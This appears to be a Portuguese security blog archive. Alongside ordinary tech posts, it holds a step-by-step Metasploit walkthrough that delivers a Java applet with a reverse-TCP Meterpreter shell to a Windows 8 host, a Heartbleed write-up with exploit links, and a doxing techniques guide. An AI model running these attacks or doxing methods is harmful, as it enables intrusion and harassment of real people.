Invasão no Windows 8 através do Java Signed Applet

Este vulnerabilidade permite ao invasor obter qualquer dado de um computador como Windows 8, pois através de engenharia social como induzir os usuários.

Detecção de Intrusos com SNORT - Back|Track 5R3

Sistema de detecção de intrusão , nada mais é do que uma ferramenta capaz de identificar tentativas de invasão em tempo real.

Hackeando e obtendo informações de dispositivos Android

Uma técnica de "hackear" os dispositivos moveis com o sistema operacional Android. Vamos utilizar a ferramente já conhecida por alguns, o Metasploit.

Mostrando postagens com marcador Tcp/ip. Mostrar todas as postagens
Mostrando postagens com marcador Tcp/ip. Mostrar todas as postagens

sábado, 17 de maio de 2014

Vamos falar de HEARBLEED S2


Heartbleed é um bug de segurança na biblioteca OpenSSL criptografia de código aberto,
que é amplamente utilizado para implementar o Internet Transport Layer Security (TLS) protocolo.
Resultados Heartbleed de validação de entrada imprópria ( devido a uma limites ausentes cheque)
na implementação do Transport Layer Security (TLS) extensão batimentos cardíacos, o coração estar por trás do nome do bug. Esta vulnerabilidade é classificada como um buffer over-read.

"Esta falha permite que um atacante remoto recupere memória privada de um aplicativo que usa a biblioteca OpenSSL vulnerável em pedaços de 64k de cada vez."

A versão fixa do OpenSSL foi lançado em 07 de abril de 2014 , ao mesmo tempo que Heartbleed foi divulgada publicamente . Naquela época, cerca de 17 por cento ( cerca de meio milhão ) de servidores Web seguros da Internet certificados por autoridades confiáveis ​​, acreditava-se ser vulnerável ao ataque , permitindo o roubo de " chaves privadas e dos usuários dos servidores de cookies de sessão e senhas.

Um dos principais objetivos dos atacantes, é obter logins e senhas de acesso a contas de e-mail, mas, não para por ai. O SSL/TLS é também responsável pela comunicação segura de e-mail, mensagem instantânea e as VPNs (Virtual Private Networks).’

A falha Heartbleed não encontra-se no protocolo SSL/TSL, mas sim na biblioteca OpenSSL.

Quais versões do OpenSSL são afetados?

Estatuto dos diferentes versões:

OpenSSL 1.0.1   através 1.0.1f (inclusive) são vulneráveis 
OpenSSL 1.0.1g não é vulnerável 
OpenSSL 1.0.0   ramo não é vulnerável 
OpenSSL 0.9.8   ramo não é vulnerável

OpenSSL 1.0.1g foi liberado para resolver esta vulnerabilidade. Quaisquer chaves geradas com uma versão vulnerável do OpenSSL deve ser considerada comprometida e regenerado e implantado após o patch foi aplicado.

Sistemas operacionais? 


Algumas distribuições de sistemas operacionais já fornecidos com a versão OpenSSL são potencialmente vulnerável: 

Debian Wheezy (estável), OpenSSL 1.0.1e-2 + deb7u4 
Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11 
CentOS 6.5, OpenSSL 1.0.1e-15 
Fedora 18, OpenSSL 1.0.1e-4 
OpenBSD 5.3 (OpenSSL 1.0.1c 10 de maio de 2012) e 5,4 (OpenSSL 1.0.1c 10 de maio de 2012) 
FreeBSD 10.0 - 1.0.1e OpenSSL 11 fev 2013 
NetBSD 5.0.2 (OpenSSL 1.0.1e) 
OpenSUSE 12.2 (OpenSSL 1.0.1c) 

Distribuição do sistema operacional com as versões que não são vulneráveis​​: 

Debian Squeeze (oldstable), OpenSSL 0.9.8o-4squeeze14 
SUSE Linux Enterprise Server 
FreeBSD 8.4 - 0.9.8y OpenSSL 05 de fevereiro de 2013 
FreeBSD 9.2 - 0.9.8y OpenSSL 05 de fevereiro de 2013 
FreeBSD 10.0p1 - 1.0.1g OpenSSL (Na 08 abril 2014 18:27:46 UTC) 
FreeBSD - 1.0.1g OpenSSL (Pelo 7 abr 2014 21:46:40 UTC)

Entenda :

.

SCAN + EXPLOIT Heartbleed OpenSSL
http://pastebin.com/nfr3ivGk


SOURCE EXPLOIT - Heartbleed
http://pastebin.com/vznDZDS0

REF:
http://blog.inurl.com.br/2014/05/vamos-falar-de-hearbleed-s2.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
https://en.wikipedia.org/wiki/Heartbleed
https://www.openssl.org/news/secadv_20140407.txt
http://heartbleed.com/

sábado, 10 de maio de 2014

Substitua roteador Wi-Fi usando um notebook

É sempre bom dar alguma utilização ao que já está velho e largado em casa. Hoje, por exemplo, vamos ensinar como fazer daquele notebook gasto - com idade entre 7-8 anos - uma estação de distribuição de internet Wi-Fi, dispensando o roteador.

Antes, é importante dizer que o método apresentado abaixo só funciona com uma placa Wi-Fi compatível, que dê conta do recado. Melhor ainda se a máquina tiver sido recém-formatada.

Para este guia vamos utilizar o Windows 7, que não é tão pesado quanto o Windows 8, e é mais seguro do que o Windows XP, cujo suporte foi encerrado no mês passado pela Microsoft (e não deveria ser utilizado para entrar na internet de jeito nenhum).

Mãos à obra!

1) Conecte seu laptop ao modem, com um cabo Ethernet.

O modem de sua operadora de internet com certeza tem um cabo ethernet saindo dele (provavelmente azul). Conecte o computador à internet por meio desse cabo (não pelo Wi-Fi, isso é importante). Este é o lugar onde ele vai ficar, funcionando como roteador.

2) Crie um ponto de acesso

Esta é a principal parte. No menu iniciar digite "cmd" e, ao aparecer o arquivo "cmd.exe", clique com o botão direito nele e o execute como administrador.


No prompt de comando, digite o seguinte:

netsh wlan set hostednetwork mode=allow ssid=NOMEDAREDE key=SENHADAREDE keyUsage=persistent


No comando digitado, você deve trocar NOMEDAREDE e SENHADAREDE pelo nome e senha que você quer que sejam utilizados por sua nova rede Wi-Fi. Se tudo correr bem, três mensagens aparecerão. Veja nosso exemplo abaixo, em que utilizamos uma rede chamada "compartilha" e uma senha "senhadeteste".


Prontinho, a rede está criada, mas ainda faltam algumas configurações para que você possa usá-la.

3) Inicie sua rede Wi-Fi

Apenas um comando é responsável por ligar a rede que você acabou de criar. Basta digitar o seguinte, no mesmo prompt:

netsh wlan start hostednetwork

Isso, avançamos mais um pouco. Agora sua rede está iniciada e poderá ser encontrada por outros computadores, celulares e tablets, mas falta um último detalhe: ela não compartilha a internet neste modo. É preciso um passo simples para corrigir o problema.

4) Compartilhe a internet


Faça com que seu computador envie a internet compartilhada para todos os outros dispositivos: abra o "Painel de Controle", vá à "Central de compartilhamento de rede" e clique em "Alterar as configurações do adaptador".


Será aberta uma tela com suas conexões. Note que a conexão wireless mais recente deve ser o ponto de acesso que você criou com este tutorial (ela deve estar com o nome de dispositivo "Microsoft Virtual WiFi MiniPort Adapter"). Na figura abaixo, estão sendo mostradas a conexão local (via cabo, diretamente ligada ao modem), a conexão wireless 1 (usada para se conectar ao roteador comum, que está desligado para este guia) e a conexão wireless 2, a "compartilha", que criamos agora há pouco.


Clique com o botão direito em sua rede local COM FIO (lembre-se, seu computador recebe a internet pela rede COM FIO, e a compartilha pela rede SEM FIO), escolha "propriedades" e, na tela que abrir, Vá para a aba "Compartilhamento".


Marque a primeira opção e escolha por qual conexão Wi-Fi irá compartilhar (em nosso caso, a Wireless Connection 2).


Dê "OK" e pronto, tudo estará resolvido.

Observações:

O processo foi testado em uma conexão residencial comum, desligando o roteador da tomada e substituindo por um notebook. A conexão funcionou normalmente com outros computadores rodando Windows 7, celulares Android e iPad.

FONTE : http://olhardigital.uol.com.br/

sábado, 8 de março de 2014

Confira 7 softwares para acelerar seu PC


O HD (disco rígido do computador) armazena diariamente uma grande quantidade de arquivos com informações de sistema, cookies de navegação, registros de programas instalados, dados de backup, entre outros. Com o passar do tempo, o sistema operacional pode ficar lento devido ao acúmulo de dados e o PC passa a demorar para iniciar e carregar os programas.

Para resolver o problema e turbinar a máquina, existem aplicativos que fazem uma verdadeira limpeza no sistema, identificando informações inúteis que podem comprometer seu desempenho e aumentando a memória disponível. Confira abaixo alguns dos softwares mais populares, todos eles disponíveis para download nos links.


O programa é um dos líderes da categoria. Fácil de usar, ele apresenta ao usuário uma lista com todos os softwares que podem ser apagados. É possível escolher aqueles que deseja eliminar e, após a tarefa, o CCleaner informa o motivo da eliminação de registros.


O limpador divide suas funções em três itens que permitem focar as tarefas em áreas do PC. A função “Turbo Boost” finaliza atividades desnecessárias que ficam em segundo plano enquanto jogos ou vídeos sejam reproduzidos. Ele traz também recursos que identificam e eliminam malwares.


O diferencial desse aplicativo é a simplicidade. Trabalhando especificamente com a memória RAM, ele exibe na tela inicial gráficos com a porcentagem do consumo atual da memória e sua quantidade livre.  São apenas dois botões: “Trim Processes’ Working Set”, que apaga a memória desnecessária, e “Clear System Cache”, que dá fim à memória cache do sistema.


O Jet Clean traz cinco opções de limpeza: registros, pastas do Windows, aplicativos, atalhos e memória RAM. Ele também desinstala completamente aplicativos e pode desfragmentar o disco rígido. É possível agendar datas e horários para limpezas.


O programa oferece 35 recursos de manutenção do Windows, ajusta as configurações do PC e elimina arquivos duplicados na memória. Para notebooks, a desenvolvedora promete prolongar a vida útil das baterias. O aplicativo é grátis para testes durante 15 dias.


O utilitário tem foco na memória RAM, e a utilização não exige a instalação. Para limpar os itens desnecessários, basta clicar em “Optimize Now” ou, se preferir, dá para rodar o programa diretamente da área de notificação.


O PrivaZer oferece duas opções de limpeza: simples e completa. Para acelerar a varredura e diminuir o tempo de espera, selecione a função “Impulsionar”.  É possível agendar o desligamento do computador depois do fim da tarefa. O aplicativo não realiza a desfragmentação de HD.

FONTE : olhardigital.uol.com.br/

sexta-feira, 31 de janeiro de 2014

Wise Data Recovery - RECUPERAR DADOS DE HD

Este pode ser comparado com o Get Data Back, porém com um detalhe adicional, ele indica quais arquivos estão prontos para uma recuperação completa ou aqueles que terão uma recuperação parcial (quase ilegível) ou os que terão perda total.

Com o Wise Data Recovery, você consegue encontrar quase tudo o que já esteve guardado no seu disco rígido e, por algum motivo, foi deletado.

O programa faz uma varredura em qualquer unidade de armazenamento: HDs, SSDs, pendrives e qualquer outra. Depois disso, o aplicativo parte para a análise dos arquivos e mostra para você se eles são recuperáveis ou não.

Dessa forma, será possível escolher o que vai ser resgatado das profundezas dos seus discos e, além disso, saber se realmente alguma coisa ainda poderá ser útil. Fora isso, se você não conseguir encontrar o que procura na grade de pastas ou na lista geral de arquivos deletados, ainda é possível usar a ferramenta de pesquisa do Wise Data Recovery.

Escolha o idioma

Antes de tudo, você precisa determinar o idioma da interface do aplicativo. Por padrão, o Wise Data Recovery é instalado em inglês, porém você pode usar o programa em português ou em vários outros idiomas. Para isso, procure e clique no botão que fica à esquerda do ícone de minimização da janela, depois selecione “Languages” e escolha “Português (Brasil)”.


Em busca do arquivo perdido

Para recuperar os dados que foram acidentalmente apagados do seu disco rígido, você precisa ter uma ideia do antigo nome do documento. Com isso em mente, vá ao topo esquerdo da janela do aplicativo e selecione a unidade de armazenamento na qual seu arquivo esteve e clique em “Escanear” ou “Scan”.

Feito isso, o programa começa a analisar todo o disco e mostra para você o que talvez possa ser recuperado. Caso o nome do arquivo seja um mistério, navegue pela grade de pastas do lado esquerdo da janela e tente encontrar o local em que o documento possa ter estado. Se você se lembrar do nome ou parte dele, vá até a barra de busca, na parte superior direita da janela, e digite o que for preciso até aparecer o que você procura.


Recupere o seus documentos

Quando você finalmente encontrar o seu arquivo perdido, observe o status dele. Se estiver verde, as chances de a recuperação ser bem-sucedida são altas. Caso o mostrador esteja amarelo ou vermelho, mesmo sendo recuperados, os seus documentos talvez fiquem inutilizados.

Se tudo estiver certo, marque quantos arquivos quiser e clique em “Recuperar” ou “Recovery”. Feito isso, uma pequena janela vai perguntar onde você deseja salvar o resultado da recuperação. Para isso, você deve escolher uma pasta fora do disco em questão, do contrário o aplicativo não realiza a tarefa.


Em alguns segundos, o Wise Data Recovery vai terminar o processo. Clique em “OK” na janela de aviso, e o programa vai abrir a pasta onde você salvou os arquivos recuperados. Agora, só é preciso testar a integridade dos documentos tentando abri-los com o aplicativo-padrão.

Tamanho : 2,5 MB

sábado, 25 de janeiro de 2014

Invasão no Windows 8 através do Java Signed Applet

Este vulnerabilidade permite ao invasor obter qualquer dado de um computador como Windows 8, pois através de engenharia social como induzir os usuários a clicaram em links através de textos os imagens esta vulnerabilidade pode ser explorada.

Conscientize amigos e colegas de trabalho para se atentarem aos links que recebem via e-mail, facebook e ente outros para evitarem se serem vítimas desta vulnerabilidade.

Uma forma de evitar é manter sempre o Windows e o Antivirus devidamente atualizados.

Dados Técnicos:

Kali Linux: 10.10.10.130
Windows 8: 10.10.10.129

Passo 01

Execute o MSF Console

root@kali:~# msfconsole


Passo 02

Utilize o exploit java_signed_applet


msf > use exploit/multi/browser/java_signed_applet


Passo 04

Defina o servidor Kali Linux (10.10.10.130) como conexão principal do exploit java_signed_applet

msf exploit (java_signed_applet) > set SRVHOST 10.10.10.130


Passo 05

Defina a porta do servidor Kali Linux (8080) como conexão principal do exploit java_signed_applet

msf exploit (java_signed_applet) > set SRVPORT 8080


Passo 06

Utilize o PAYLOAD reserve_tcp para estabelecer a conexão entre o host e o servidor


msf exploit (java_signed_applet) > set PAYLOAD windows/meterpreter/reverse_tcp


Passo 07

Defina o servidor Kali Linux (10.10.10.130) como conexão principal para o PAYLOAD reverse_tcp


msf exploit (java_signed_applet) > set LHOST 10.10.10.130


Passo 08

Defina a porta do servidor Kali Linux (10.10.10.130) como conexão principal para o PAYLOAD reverse_tcp


msf exploit (java_signed_applet) > set LPORT 4444


Passo 09

Execute o exploit para gerar a URL a ser acessada pelo Windows 8 (http://10.10.10.130:8080/clR8lKjmGpiSXqQ)

msf exploit (java_signed_applet) > exploit


Passo 10


No Windows 8 ao realizar o acesso ao link (http://10.10.10.130:8080/clR8lKjmGpiSXqQ) será exibida uma janela de Advertência de Segurança, aceite o Risco e clique em Executar


Passo 11


Observe que a conexão foi estabelecida com o servidor


Passo 12

Execute o comando sessions para exibir as sessões de conexão

msf exploit (java_signed_applet) > sessions


Passo 13

Estabeleça a conexão na sessão 1


msf exploit (java_signed_applet) > sessions -i 1


Passo 14

Com a conexão estabelecido digite comando utilizados no windows como o ipconfig para visualizar as conexões de rede


meterpreter > ipconfig


Passo 15

Utilize o comando sysinfo para exibir as Informações de Sistema, como o Nome do Computador e versão do Sistema Operacional


meterpreter > sysinfo

Passo 16

Execute o comando shell para exibir o console do Windows 8


meterpreter > shell


Passo 17

Liste todos arquivos/diretórios que estão no Desktop


C:\Users\Marcos\Desktop>dir


Passo 18

Crie o diretório 100SECURITY


C:\Users\Marcos\Desktop>mkdir 100SECURITY


Passo 19


Como pode visualizar o diretório 100SECURITY foi criado com sucesso


FONTE : 100security.com.br

terça-feira, 21 de janeiro de 2014

Fim do suporte ao sistema operacional Windows XP vai forçar bancos a atualizarem o hardware de seus equipamentos

A Microsoft já avisou faz tempo: em 2014 o Windows XP vai perder o suporte e, com isso, deixará de receber atualizações — um ano depois encerram-se também as atualizações vitais para a manutenção da segurança dos usuários. E nesse grupo de usuários estão 95% dos caixas eletrônicos de todo o mundo. Exatamente, a maioria esmagadora das máquinas de bancos são equipadas com computadores que utilizam a referida versão do sistema operacional.

E o que vai acontecer com elas? Tudo depende de como as instituições bancárias vão querer trabalhar. Segundo o site INFO, aqui no Brasil alguns bancos privados como Bradesco e o Itaú utilizam o sistema Windows XP. O primeiro já informou que vai instalar o Windows 7 nos caixas automáticos, mas o Itaú ainda não revelou o que será feito com seus equipamentos.

Bancos estatais não terão problemas com a novidade, uma vez que utilizam o sistema Linux em seus equipamentos — isso vale tanto para a Caixa Econômica Federal quanto para o Banco do Brasil. De volta às instituições que precisam realizar a alteração, é preciso mencionar um problema que pode afetar diversas instituições em todo o mundo: o hardware das máquinas utilizadas atualmente.

Hardware é um problema


O Windows XP que roda nos caixas automáticos foi lançado em 2001, enquanto o Windows 7 chegou ao mercado oito anos depois. Isso significa que existe quase uma década de diferença nos requisitos mínimos de hardware utilizado. Como você deve imaginar, os computadores dos caixas automáticos não são equipados com componentes muito poderosos, uma vez que executam apenas funções básicas.

Sabendo disso, não é difícil perceber que muitas máquinas podem não conseguir executar o Windows 7. Ou seja, além de alterar o software utilizado pelos caixas eletrônicos, os bancos ainda terão que modificar os próprios computadores. Dessa maneira, é bem possível que nem todos os bancos consigam realizar a substituição até abril, mês em que o suporte da Microsoft ao Windows XP deve ser encerrado.

Fonte: Business Week, INFO


terça-feira, 1 de outubro de 2013

SÉRGIO AMADEU: VOCÊ SABE QUEM INVADE SEU COMPUTADOR?


Durante a "aula pública" sobre o Marco Civil da Internet, realizada nesta terça-feira (23), em São Paulo, o sociólogo Sérgio Amadeu da Silveira, especialista no tema, exibiu a apresentação "Você sabe quem invade seu computador?".

Produzida com software livre e liberada para "reprodução e remixagem", como frisa o autor ao final do arquivo, a apresentação utiliza o caso de Edward Snowden, ex-analista da Agência de Segurança Nacional dos Estados Unidos e responsável por revelar ao mundo o fato de o país norte-americano espionar as atividades e comunicações de usuários da Internet em todo o globo, para discutir a questão da privacidade na Internet.

O tema é um dos principais eixos do Marco Civil da Internet, projeto de lei análogo a uma espécie de Constituição da Internet no Brasil. Apesar de ser considerada por especialistas internacionais como uma das legislações mais avançadas do mundo para o setor, o projeto sofre com o lobby da indústria de telecomunicações, que se posiciona contrária à neutralidade da rede, princípio que assegura a não-discriminação dos pacotes de dados e conteúdos que circulam na rede. O princípio da neutralidade, porém, é fundamental para a garantia dos direitos à privacidade, à liberdade de expressão e à criatividade e inovatividade na rede.

Confira e compartilhe a apresentação produzida por Sérgio Amadeu:

Você sabe quem invade seu computador?

FONTE : baraodeitarare.org.br

terça-feira, 10 de setembro de 2013

COMPUTAÇÃO EM NUVEM: VULNERABILIDADES NA NUVEM

A forma como você define a arquitetura da sua infraestrutura de computação em nuvem pode ter um impacto direto sobre sua capacidade de resistir a falhas.
Nuvens públicas e privadas podem ser afetadas por ataques maliciosos e falhas de infra-estrutura como falta de energia. Tais eventos podem afetar servidores de nome de domínio Internet, impedir o acesso às nuvens ou afetam diretamente as operações da nuvem.

Por exemplo, um ataque na Akamai Technologies em 15 de junho de 2004, causou uma falha de nome de domínio e um grande apagão que afetou o Google Inc., Yahoo! Inc. e muitos outros sites. Em maio de 2009, o Google foi alvo de um ataque sério (DoS) de denial-of-service que derrubou serviços como Gmail e Google News por vários dias.

Um raio causou uma inatividade prolongada na Amazon.com Inc. em 29 e 30 de Junho 2012. A nuvem da Amazon Web Services (AWS) na região leste dos Estados Unidos, que consiste de 10 data centers em quatro zonas de disponibilidade, inicialmente foi incomodada por flutuações de energia utilitário provavelmente causadas por uma tempestade elétrica. Uma tempestade de 29 de junho de 2012, na costa leste tirou algumas instalações da Amazônia com base em Virgínia e afetou as empresas que utilizam sistemas exclusivamente nesta região. Instagram, um serviço de compartilhamento de fotos, declaradamente foi uma das vítimas desta paralisação.

Recuperação destes acontecimentos levou muito tempo e expostos a uma gama de problemas. Por exemplo, um dos 10 centros falhou para alternar para geradores reserva antes de esgotar a energia que poderia ser fornecida pela fonte de alimentação uninterruptible fornecer unidades (UPS). AWS utiliza “controlar aviões” para interruptor permitem que os usuários a recursos em uma região diferente, e este componente de software também falhou.

O processo de arranque estava com defeito e estendido o tempo necessário para reiniciar o Elastic Compute Cloud (EC2) e serviços de armazenamento de bloco elástico (EBS). Outro problema crítico foi um bug em elástico Load Balancing (ELB), que é usado para rotear o tráfego para servidores com capacidade disponível. Um inseto semelhante afetou o processo de recuperação de serviço do banco de dados relacional (RDS). Este evento trouxe a luz “ocultos” problemas que ocorrem apenas em circunstâncias especiais.

Pedaços de nuvem


Um provedor de aplicação de nuvem, um provedor de armazenamento de nuvem e um provedor de rede poderiam implementar políticas diferentes. As imprevisíveis interações entre o balanceamento de carga e outros mecanismos reativos podem provocar instabilidades dinâmicas. O acoplamento não intencional de controladores independentes que gerenciar a carga, consumo de energia e elementos da infra-estrutura pode levar a indesejável feedback e instabilidade similar aos experimentados pela política de roteamento na Internet Border Gateway Protocol (BGP).
Por exemplo, o balanceador de carga de um provedor de aplicativos poderia interagir com o otimizador de poder do provedor de infra-estrutura. Alguns destes acoplamentos só podem manifestar-se sob condições extremas e podem ser muito difícil de detectar sob condições operacionais normais. Quando o sistema tenta se recuperar de uma falha do disco, como no caso da paralisação AWS 2012 podem ter conseqüências desastrosas.

Recursos em data centers localizados em diferentes áreas geográficas de cluster é um dos meios utilizados para reduzir a probabilidade de falhas catastróficas. Esta dispersão geográfica dos recursos pode ter efeitos colaterais positivos adicionais. Pode reduzir os custos de energia e tráfego de comunicação despachando os cálculos para locais onde a energia elétrica é mais barata. Também pode melhorar o desempenho com uma estratégia de balanceamento de carga inteligente e eficiente.

No estabelecimento de uma infra-estrutura em nuvem, você tem que equilibrar cuidadosamente os objectivos do sistema tais como maximizar taxa de transferência, utilização de recursos e benefícios financeiros com as necessidades do usuário tais como baixo custo e tempo de resposta e disponibilidade máxima. O preço a pagar por qualquer otimização do sistema é o sistema de maior complexidade. Por exemplo, a latência de comunicação em uma rede de área ampla (WAN) é consideravelmente maior do que a mais de uma rede de área local (LAN) e requer o desenvolvimento de novos algoritmos para tomada de decisão global.

Desafios de nuvem


Cloud computing herda alguns dos desafios da paralela e computação distribuída. Também enfrenta muitos desafios principais do seus próprios. Os desafios específicos são diferentes para os modelos de entrega de três nuvens, mas em todos os casos as dificuldades são criadas pela própria natureza de utility computing, que é baseado no compartilhamento de recursos e virtualização de recursos e exige um modelo diferente de confiança que o modelo centrado no usuário onipresente que tem sido o padrão por um longo tempo.
O desafio mais importante é a segurança. Ganhar a confiança de uma base de usuários grande é fundamental para o futuro da nuvem de computação. É irrealista esperar que uma nuvem pública irá fornecer um ambiente adequado para todas as aplicações. Aplicações altamente sensíveis relacionados à gestão de infra-estruturas críticas, aplicações de saúde e outros mais provável serão presentados por nuvens privadas.

Muitas aplicações em tempo real provavelmente ainda vão ser confinadas para nuvens privadas. Alguns aplicativos podem ser melhor servidos por uma configuração de nuvem híbrida. Tais aplicações podem manter os dados confidenciais em uma nuvem privada e usar uma nuvem pública para alguns do processamento.

O modelo Software como serviço (SaaS) enfrenta desafios semelhantes como outros serviços on-line necessários para proteger as informações privadas, tais como financeira ou de serviços de saúde. Neste caso, um usuário interage com serviços de nuvem, através de uma interface bem definida. Em princípio, portanto, é menos desafiador para o provedor de serviços fechar alguns dos canais de ataque.

Ainda assim, tais serviços são vulneráveis a ataques DoS e insiders maliciosos. Dados no armazenamento são mais vulneráveis a ataques, então, dedicar atenção especial para proteger servidores de armazenamento. A replicação de dados necessária para assegurar a continuidade do serviço em caso de falha do sistema de armazenamento aumenta a vulnerabilidade. Criptografia de dados pode proteger os dados no armazenamento, mas eventualmente os dados devem ser descriptografados para processamento. Então ele é exposto para atacar.

A infra-estrutura como um serviço (IaaS) modelo é de longe o mais desafiador para defender contra ataques. De fato, um usuário de IaaS tem muito mais liberdade do que os outros modelos de entrega dois nuvem. Uma fonte adicional de preocupação é que os recursos da nuvem considerável podem ser usados para iniciar ataques contra a rede e a infra-estrutura de computação.

A virtualização é uma opção de projeto crítica para este modelo, mas ele expõe o sistema para novas fontes de ataque. O confiável computing base (TCB) de um ambiente virtual inclui não só o hardware e o hipervisor, mas também a gestão do sistema operacional. Você pode salvar todo o estado de uma máquina virtual (VM) para um arquivo para permitir a migração e recuperação, ambas as operações altamente desejáveis.

Ainda esta possibilidade desafia as estratégias para trazer os servidores pertencentes a uma organização para um estado estável e desejável. Com efeito, uma VM infectada pode ficar inativa, quando os sistemas são limpos. Então ele pode acordar mais tarde e infectar outros sistemas. Este é outro exemplo do profundo entrelaçamento dos efeitos desejáveis e indesejáveis de tecnologias de computação em nuvem básico.

O próximo grande desafio está relacionado ao gerenciamento de recursos em uma nuvem. Qualquer estratégia de gerenciamento de recurso sistemático (ao invés de ad-hoc) requer a existência de controladores encarregado de implementar várias classes de políticas: controle de admissão, a alocação de capacidade, carregar balanceamento, otimização energética e, por último mas não menos importante, garante o fornecimento de qualidade de serviço (QoS).

Para implementar estas políticas, os controladores precisam de informações precisas sobre o estado global do sistema. Determinando o estado de um sistema complexo com 106 servidores ou mais, distribuída sobre uma grande área geográfica, não é viável. Com efeito, o external carregar, bem como o estado dos recursos individuais, alterações muito rapidamente. Assim, os controladores devem ser capazes de funcionar com conhecimento incompleto ou aproximado do estado do sistema.

Parece razoável esperar que tal sistema complexo pode única função com base em princípios de autogestão. Mas, autogestão e auto-organização elevar a fasquia para a aplicação do log e auditoria de processos críticos para a segurança e a confiança em um provedor de serviços de computação em nuvem.

Sob autogestão torna-se quase impossível identificar as razões que uma determinada ação que resultou em uma falha de segurança foi tomada.

O último grande desafio que vou abordar está relacionado com a interoperabilidade e padronização. Vendor lock-in — provedor de serviços o fato de que um usuário está vinculado a uma determinada nuvem — é uma grande preocupação para os usuários da nuvem. Padronização apoiaria a interoperabilidade e, assim, aliviar os receios de que um serviço crítico para uma organização de grande porte pode não estar disponível por um período prolongado de tempo.

A imposição de normas cada vez quando ainda está em desenvolvimento uma tecnologia é desafiador, e pode ser contraproducente porque isso pode sufocar a inovação. É importante perceber a complexidade dos problemas colocados pela computação em nuvem e de compreender a ampla gama de problemas técnicos e sociais nuvem computação levanta. O esforço para migrar a atividades de ti para nuvens públicas e privadas terão um efeito duradouro.

FONTE : http://www.securityhacker.org

sábado, 13 de julho de 2013

O que está Doxing e como ele é feito?

No mundo moderno, a Internet tornou-se um lugar maravilhoso para se adquirir conhecimento, trocar idéias, compartilhar informações, fazer novos amigos e outros enfeites. Mesmo assim, você pode fazer tudo isso por permanecer anônimo por trás de seu monitor, sua identidade da vida real e os dados pessoais pode ainda estar correndo o risco de cair nas mãos de estranhos. Este é o lugar onde o termo "doxing" entra em jogo!

O que é Doxing?


Doxing simplesmente refere-se ao processo de coleta de informações ou deduzir de outras pessoas, tais como nome, idade, e-mail, endereço, número de telefone, fotografias, etc usando fontes disponíveis ao público, como a Internet. Em outras palavras, doxing é o ato de usar a Internet para procurar informações pessoais sobre uma pessoa.

Doxing é feito, inicialmente, levando um pedaço de informação (como "nome" ou "e-mail") e mantê-lo como uma base para descobrir outros detalhes possíveis sobre a pessoa. O termo "doxing" é derivado do "documento traçando" palavra que significa para recuperar documentos sobre uma pessoa ou empresa, a fim de aprender mais sobre eles.

Doxing Técnicas:


Hoje, a Internet tem crescido a um tamanho tal que ele contém quase todas as informações que você jamais imaginou! Tudo que você tem a fazer é usar as técnicas corretas para procurar o que deseja. Aqui está uma lista de técnicas que são mais utilizadas por geeks da Internet e hackers éticos doxing:

Usando o Google:


Google é, sem dúvida, uma ferramenta poderosa que desempenha um papel-chave na doxing. Desde que o Google indexa quase qualquer coisa na internet (às vezes até mesmo as informações privadas), é possível dox para detalhes como id e-mail, endereço, números e fotografias de uma pessoa ou empresa de telefonia. Depois de obter os resultados da pesquisa para a sua consulta, examinar cuidadosamente a parte descrição que na maioria dos casos conter a informação que você está procurando.

Sites de redes sociais:


Como a maioria dos usuários da Internet são encontrados para ser ativo nas mídias sociais, sites de redes sociais, como Facebook e LinkedIn fornecer uma mina de ouro virtual de informações necessárias para executar doxing. Como a maioria dos usuários não estão cientes dos problemas de segurança on-line, eles têm configurações de privacidade fracos no seu perfil. Isto torna mais fácil para os atacantes para obter acesso a informações pessoais, como fotografias, nomes reais, localização, trabalho, o nome do parceiro, etc


Reverse Cell Phone Lookup:


A " Reverse Cell Phone Lookup "é simplesmente um processo de encontrar informações pessoais de alguém, tais como nome, idade, endereço e informações relacionadas, usando seu número de telefone celular e vice-versa. Existem muitos serviços online lá fora, como registro de telefone celular que fornecem acesso aos detalhes pessoais sobre uma determinada pessoa com base em sua / seu telefone, nome e e-mail ID.

Whois Buscas:


Se uma pessoa ou empresa tem um site (ou nome de domínio) associados a eles, você pode facilmente realizar uma "pesquisa whois" para o seu site para obter dados pessoais, como nome completo, endereço, e-mail e número de telefone. Basta visitar whois.domaintools.com e digite o nome de domínio para o qual você deseja realizar uma pesquisa whois. Ela vai mostrar todos os detalhes associados ao nome de domínio.

Por que alguém iria querer realizar Doxing?


A maioria das pessoas realizam doxing por curiosidade geral sobre uma pessoa ou empresa. No entanto, existem algumas mentes perversas lá fora que fazem isso com o propósito de chantagem ou vingança, expondo a informação que reunimos sobre a pessoa.


Quais são as consequências de Doxing?


Pode ser um pouco irritante e constrangedor quando os dados privados cair nas mãos de pessoas que não estão destinados a ter acesso a essas informações. No entanto, as coisas podem ir ainda pior se a informação doxed tais como as atividades de uma pessoa social, histórico médico, preferência sexual e outros pedaços vitais de informação seja tornada pública. Isso pode ter uma séria ameaça à saúde, à vida ou relacionamento da vítima.

Passos para se proteger de Doxing:


A seguir estão algumas das peças mais comumente alvo de informações que podem ser facilmente obtidos através doxing:


  • Nome Completo
  • Idade, sexo e data de nascimento
  • Localização e local de nascimento
  • Endereços de e-mail e nome de usuário
  • Número de telefone
  • Perfis de redes sociais, sites e blogs


Assim, é sempre uma boa prática para manter os bits acima de informação escondida. Mesmo que ele não é possível fazer isso em todos os casos, você ainda pode ter o cuidado de proteger o máximo de informações que puder de ir a público. Você pode considerar as seguintes dicas adicionais para maior proteção:


  1. Não faça upload de fotografias pessoais em álbuns da web, como "Picasa". Mesmo se você fizer isso, certifique-se de que o seu álbum está escondido dos motores de público e de pesquisa.
  2. Se você não pretende mostrar o seu perfil nos motores de busca, é uma escolha sábia para fazer todos os perfis de Internet privado.
  3. Maximizar as configurações de privacidade de seus perfis de redes sociais. Certifique-se de que os seus álbuns e fotografias individuais têm suas configurações de privacidade configurado.
  4. Não use o mesmo endereço de e-mail para todas as contas. Em vez disso, criar IDs de e-mail separadas para atividades individuais, tais como jogos, participação no fórum, banca responsável, etc


É Doxing um Crime?


Doxing definitivamente não é um crime, quando utilizado dentro dos padrões éticos e nenhum dano é causado a qualquer um. No entanto, se doxing é feito para causar dano intencional, como o assédio, chantagem ou vingança que poderia muito bem ser considerado uma ofensa.


sábado, 13 de abril de 2013

Como detectar intrusos em sua rede sem fio.

Atualmente violar a segurança de um roteador é simples, existem inúmeras aplicações, "dicionários" para diferentes plataformas mostrar-lhe a senha padrão do roteador. Para usuários mais avançados, há cd's que rodam em modo live (wifiway, Beini, recuar, wifislax, etc) que capturar pacotes até a senha do roteador...
